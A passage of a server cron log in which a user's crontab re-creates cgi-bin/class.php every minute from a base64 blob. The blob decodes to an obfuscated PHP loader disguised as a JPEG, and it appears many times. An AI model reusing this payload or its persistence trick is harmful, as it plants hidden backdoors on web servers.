C5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:45:01 server CROND[26074]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:46:01 server CROND[26917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:46:01 server CROND[26918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:46:01 server CROND[26919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:47:01 server CROND[27299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:47:01 server CROND[27300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:47:01 server CROND[27301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:48:01 server CROND[27682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:48:01 server CROND[27683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:48:01 server CROND[27684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:49:01 server CROND[28175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:49:01 server CROND[28176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:49:01 server CROND[28177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:50:02 server CROND[28564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:50:02 server CROND[28566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:50:02 server CROND[28567]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:50:02 server CROND[28571]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:50:02 server CROND[28572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:50:02 server CROND[28575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:50:02 server CROND[28578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:50:02 server CROND[28573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:50:02 server CROND[28579]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:51:01 server CROND[29413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:51:01 server CROND[29415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:51:01 server CROND[29414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:52:01 server CROND[29797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:52:01 server CROND[29798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:52:01 server CROND[29799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:53:01 server CROND[30179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:53:01 server CROND[30180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:53:01 server CROND[30181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:54:01 server CROND[30652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:54:01 server CROND[30651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:54:01 server CROND[30650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:55:01 server CROND[31040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:55:01 server CROND[31048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:55:01 server CROND[31052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:55:01 server CROND[31050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:55:01 server CROND[31046]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:55:01 server CROND[31051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:55:01 server CROND[31053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:56:01 server CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:56:01 server CROND[31871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:56:01 server CROND[31872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:57:01 server CROND[32249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:57:01 server CROND[32250]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:57:01 server CROND[32251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:57:01 server CROND[32252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
